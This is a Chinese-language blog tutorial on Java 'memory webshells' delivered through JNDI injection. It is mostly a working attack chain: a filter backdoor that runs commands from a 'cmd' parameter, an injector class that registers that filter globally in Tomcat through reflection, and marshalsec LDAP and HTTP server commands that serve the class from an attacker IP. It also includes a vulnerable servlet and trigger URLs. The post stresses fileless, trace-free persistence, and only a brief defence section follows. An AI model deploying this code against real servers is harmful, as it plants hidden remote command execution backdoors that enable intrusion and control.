Loading ...
Java 内存马(六):JNDI 注入内存马

1. 基本概念

JNDI 注入内存马 是结合 JNDI 注入漏洞 与内存马技术的复合型攻击手段。其核心逻辑是:利用 JNDI 服务动态加载远程恶意类的特性,在受害者服务器上执行恶意代码,进而动态注册 Filter/Servlet 等内存马组件,实现无文件落地的持久化控制。

核心特性

  • 跨框架兼容性:依托 JNDI 标准 API(Java Naming and Directory Interface),可在 Tomcat、Jetty 等主流 Web 容器及 Spring Boot 等框架中利用,不依赖特定中间件私有机制。

  • 攻击链路隐蔽:恶意类通过远程 HTTP 服务器托管,注入过程仅需触发 context.lookup() 方法,无本地文件写入操作,常规日志难以追踪。

  • 依赖版本限制:受 JDK 安全策略影响,JDK 8u191、7u201 及以上版本默认关闭 trustURLCodebase(远程类加载开关),需特定绕过手段(本文聚焦基础利用场景,暂不展开绕过)。

  • 链式攻击能力:JNDI 注入仅作为 “初始入口”,最终通过动态注册 Filter/Servlet 等组件形成内存马,实现长期控制。

常见利用场景

  • 攻击者利用存在 JNDI 注入漏洞的组件(如 Log4j2、Fastjson、Struts2),构造恶意 JNDI 地址(LDAP/RMI)诱导受害者触发。

  • 通过远程加载的恶意类,在受害者服务器中动态注册全局 Filter 内存马,实现所有请求的命令执行劫持。

  • 注入后删除远程恶意类文件,仅留存内存中的 Filter/Servlet,形成 “无迹” 后门。

2. JNDI 基础与注入流程

要理解 JNDI 注入内存马,需先掌握 JNDI 核心机制与注入原理:

2.1 JNDI 核心组件

JNDI 是 Java 用于访问命名服务(如 LDAP、RMI、DNS)的 API,主要包含以下组件:

组件 作用
JNDI API 提供上层应用调用接口(如 InitialContextContext.lookup())。
Naming Manager 管理命名服务的访问逻辑,负责解析 JNDI 地址并加载远程类。
JNDI SPI 服务提供者接口,对接不同命名服务(如 LDAP 实现、RMI 实现)。
命名服务 存储对象引用的服务(如 LDAP 服务器、RMI 注册表)。

2.2 JNDI 注入核心原理

Context.lookup(String name) 方法的 name 参数可控时,攻击者可构造如下恶意链路:

  1. 攻击者搭建 LDAP/RMI 服务HTTP 服务器

    • HTTP 服务器托管编译后的恶意类(如 Inject.class)。

    • LDAP/RMI 服务将对象引用指向 HTTP 服务器的恶意类地址(如 http://attacker-ip/Inject.class)。

  2. 受害者执行可控代码 context.lookup("ldap://attacker-ip:1389/Inject")

    • JNDI 客户端向攻击者的 LDAP 服务发送请求。

    • LDAP 服务返回包含恶意类地址的 Reference 对象。

    • JNDI 客户端解析 Reference,从 HTTP 服务器下载恶意类并实例化。

  3. 恶意类的 静态代码块、构造方法或实例初始化块 自动执行,触发后续内存马注册逻辑。

3. JNDI 注入内存马实现机制

JNDI 注入内存马的核心是 “远程恶意类 + 动态注册内存马”,实现步骤分为 攻击端准备受害者端触发 两部分:

3.1 核心难点突破

JNDI 注入中,恶意类的自动执行代码块(静态块、构造方法)无 Request 等 Web 上下文参数,需通过以下方式获取 Tomcat 核心容器(StandardContext):

  • Tomcat 容器:通过当前线程的类加载器(WebappClassLoaderBase)逐层反射获取 StandardContext,代码逻辑如下:

    // 获取 Tomcat 的 StandardContext 容器
    public StandardContext getTomcatContext() {
        // 1. 获取当前线程的 Web 应用类加载器
        WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        // 2. 从类加载器获取资源管理对象 StandardRoot
        StandardRoot standardRoot = (StandardRoot) classLoader.getResources();
        // 3. 从 StandardRoot 获取 StandardContext
        return (StandardContext) standardRoot.getContext();
    }
  • Spring Boot 框架:可通过 RequestContextHolder 获取当前请求上下文,进而获取 ServletContext,再反射得到 StandardContext

    // Spring 环境中获取 Request
    HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
    ServletContext servletContext = request.getServletContext();
    // 后续反射步骤同 Tomcat 环境

3.2 实现步骤拆解

  1. 攻击端:编写恶意类(Inject.class) 恶意类需包含两部分逻辑:

    • 从 HTTP 服务器动态加载内存马组件(如 Filter)的字节码(避免多文件依赖)。

    • 反射调用 Tomcat API 注册 Filter 内存马。

  2. 攻击端:搭建服务

    • 启动 HTTP 服务器,托管 Inject.class 与 Filter 字节码(或直接在 Inject 中内置 Filter 字节码的 Base64 编码)。

    • 启动 LDAP/RMI 服务,将对象引用指向 HTTP 服务器的 Inject.class

  3. 受害者端:触发 JNDI 注入 受害者执行含可控参数的 lookup() 方法,下载并实例化 Inject.class,触发 Filter 内存马注册。

  4. 触发内存马 注册完成后,所有请求携带特定参数(如 cmd)即可执行恶意逻辑。

4. 示例代码(完整攻击链路)

4.1 步骤 1:编写内存马组件(ShellFilter.java)

定义全局 Filter,实现命令执行功能:

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.Process;

// 恶意 Filter:接收 cmd 参数执行系统命令
public class ShellFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) {} // 初始化方法空实现

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException {
        // 1. 获取 cmd 参数
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            // 2. 执行系统命令
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
            // 3. 将命令结果写入响应
            response.setContentType("text/plain;charset=GBK");
            String line;
            while ((line = br.readLine()) != null) {
                response.getWriter().println(line);
           }
            br.close();
            process.destroy();
            return; // 终止请求传递,避免干扰结果
       }
        // 无 cmd 参数时,正常转发请求
        try {
            chain.doFilter(request, response);
       } catch (ServletException e) {
            e.printStackTrace();
       }
   }

    @Override
    public void destroy() {} // 销毁方法空实现
}

4.2 步骤 2:将 ShellFilter 转为 Base64 字节码

由于 JNDI 一次仅能加载一个远程类,需将 ShellFilter 的字节码转为 Base64 编码,嵌入 Inject 类中(避免多文件依赖)。使用 javassist 工具实现编码:

import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;

// 生成 ShellFilter.class 的 Base64 编码
public class FilterToBase64 {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        // 加载 ShellFilter 类
        CtClass ctClass = pool.get("ShellFilter");
        // 转为字节数组并 Base64 编码
        byte[] filterBytes = ctClass.toBytecode();
        String base64Code = Base64.getEncoder().encodeToString(filterBytes);
        System.out.println("ShellFilter Base64 编码:");
        System.out.println(base64Code); // 复制此结果,后续嵌入 Inject 类
   }
}
  • 依赖:需在 pom.xml 中添加 javassist 依赖:

    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.29.2-GA</version>
    </dependency>

4.3 步骤 3:编写恶意注入类(Inject.java)

Inject 类通过构造方法自动执行,核心逻辑为:获取 StandardContext → 动态加载 ShellFilter → 注册为全局 Filter:

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.Filter;
import java.lang.reflect.Method;
import java.util.Base64;

public class Inject {
    // 1. 从 Base64 解码并加载 ShellFilter 类
    private Filter loadShellFilter() throws Exception {
        // 替换为步骤2生成的 ShellFilter Base64 编码
        String filterBase64 = "yv66vgAAADQAXwoADwA0CAArCwA1ADYKADcAOAoANwA5BwA6BwA7CgA8AD0KAAcAPgoABgA/CgAGAEAL..."
        byte[] filterBytes = Base64.getDecoder().decode(filterBase64);
        
        // 反射调用 ClassLoader.defineClass 加载类(绕过类加载器检查)
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true); // 突破私有方法访问限制
        Class<?> filterClass = (Class<?>) defineClassMethod.invoke(classLoader, filterBytes, 0, filterBytes.length);
        
        // 实例化 Filter
        return (Filter) filterClass.newInstance();
   }

    // 2. 获取 Tomcat 的 StandardContext 容器
    private StandardContext getStandardContext() {
        WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardRoot standardRoot = (StandardRoot) classLoader.getResources();
        return (StandardContext) standardRoot.getContext();
   }

    // 3. 构造方法:自动执行注入逻辑
    public Inject() throws Exception {
        try {
            // 获取容器与 Filter 实例
            StandardContext context = getStandardContext();
            Filter shellFilter = loadShellFilter();
            
            // 4. 创建 Filter 定义(FilterDef)
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterName("jndi-shell-filter"); // 自定义 Filter 名称
            filterDef.setFilter(shellFilter);
            filterDef.setFilterClass(shellFilter.getClass().getName());
            
            // 5. 创建 Filter 映射(FilterMap):全局匹配所有请求
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName("jndi-shell-filter");
            filterMap.addURLPattern("/*"); // 匹配所有 URL
            
            // 6. 注册 Filter 到容器
            context.addFilterDef(filterDef);
            context.addFilterMapBefore(filterMap); // 优先级高于现有 Filter
            context.filterStart(); // 激活 Filter 机制
            
            System.out.println("JNDI 注入内存马(Filter)注册成功!");
       } catch (Exception e) {
            System.err.println("注入失败:" + e.getMessage());
            e.printStackTrace();
       }
   }
}

4.4 步骤 4:攻击端搭建服务

4.4.1 编译恶意类

使用 JDK 8u62(低版本,确保 trustURLCodebase=true)编译 Inject.java

javac -cp "tomcat-catalina-8.0.53.jar:javax.servlet-api-4.0.1.jar" Inject.java
  • 依赖说明:需引入 Tomcat 核心包(tomcat-catalina.jar)与 Servlet API 包,匹配受害者 Tomcat 版本(如 8.0.53)。

4.4.2 启动 HTTP 服务器

将编译后的 Inject.class 放入 HTTP 服务器根目录(如使用 Python 快速搭建):

# 进入 Inject.class 所在目录,启动 HTTP 服务(端口 8081)
python -m SimpleHTTPServer 8081

4.4.3 启动 LDAP 服务

使用 marshalsec 工具(JNDI 注入测试工具)启动 LDAP 服务,将引用指向 HTTP 服务器的 Inject.class

# 格式:java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://攻击端IP:HTTP端口/#恶意类名" LDAP端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.1:8081/#Inject" 1389

5. 触发与验证步骤

5.1 受害者端触发 JNDI 注入

假设受害者存在 JNDI 注入漏洞(如以下 Servlet 代码),访问含恶意 LDAP 地址的 URL 即可触发:

// 受害者端存在漏洞的 Servlet
import javax.naming.InitialContext;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/jndi-vuln")
public class VulnServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) {
        try {
            String jndiUrl = request.getParameter("url"); // 可控参数
            InitialContext context = new InitialContext();
            context.lookup(jndiUrl); // 触发 JNDI 注入
       } catch (Exception e) {
            e.printStackTrace();
       }
   }
}
  • 触发 URL:http://受害者IP:8080/受害者应用/jndi-vuln?url=ldap://192.168.100.1:1389/Inject

  • 注意:即使页面返回 500 错误(如缺少 getObjectInstance 方法),只要 Inject 构造方法执行,内存马即注册成功。

5.2 验证内存马

注入成功后,通过任意请求携带 cmd 参数即可执行命令:

  • 执行 whoami(Linux):http://受害者IP:8080/任意路径?cmd=whoami

  • 执行 dir(Windows):http://受害者IP:8080/?cmd=dir

  • 响应结果:页面将返回命令执行输出(如当前用户、目录列表)。

6. 关键技术细节与限制

6.1 核心依赖与版本限制

组件 版本要求 原因
JDK 8u191 以下、7u201 以下 高版本默认关闭 trustURLCodebase,无法加载远程类
Tomcat 7.x/8.x 依赖 WebappClassLoaderBaseStandardRoot 等类,版本不同可能需调整反射逻辑
受害者应用 需包含 Tomcat 核心依赖 否则 Inject 类中无法实例化 StandardContext 等类

6.2 与其他内存马的区别

内存马类型 注入入口 依赖组件 隐蔽性 生效范围
Servlet 内存马 反射调用 Tomcat API Tomcat 私有类 绑定特定 URL
Filter 内存马 反射调用 Tomcat API Tomcat 私有类 全局请求
JNDI 注入内存马 JNDI lookup() 漏洞 JNDI API + 远程服务 极高 全局请求(依赖注册的组件)

6.3 常见失败原因

  1. JDK 版本过高trustURLCodebase=false 导致无法加载远程 Inject.class,需使用绕过手段(如利用本地类工厂)。

  2. Tomcat 版本不兼容WebappClassLoaderBase 在 Tomcat 8.5+ 中部分方法变更,需调整 getStandardContext() 逻辑。

  3. Base64 编码错误ShellFilter 的 Base64 编码包含换行符或错误字符,导致解码失败,需确保编码完整且无多余字符。

7. 总结

  • 核心逻辑:JNDI 注入作为 “初始入口”,通过远程加载恶意类触发内存马注册,最终以 Filter/Servlet 形式实现持久化控制。

  • 关键 API

    • JNDI 相关:InitialContext.lookup()Reference(远程类引用)。

    • Tomcat 相关:StandardContext.addFilterDef()StandardContext.addFilterMapBefore()

    • 反射相关:ClassLoader.defineClass()Field.setAccessible(true)(突破访问限制)。

  • 防御建议

    • 升级 JDK 至 8u191+、7u201+,关闭远程类加载能力。

    • 限制 Context.lookup() 方法的参数可控性,避免外部输入直接传入。

    • 监控异常的 Filter/Servlet 注册行为,定期检查 StandardContext 中的组件列表。

    • 禁用不必要的命名服务(如 LDAP/RMI),减少攻击面。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇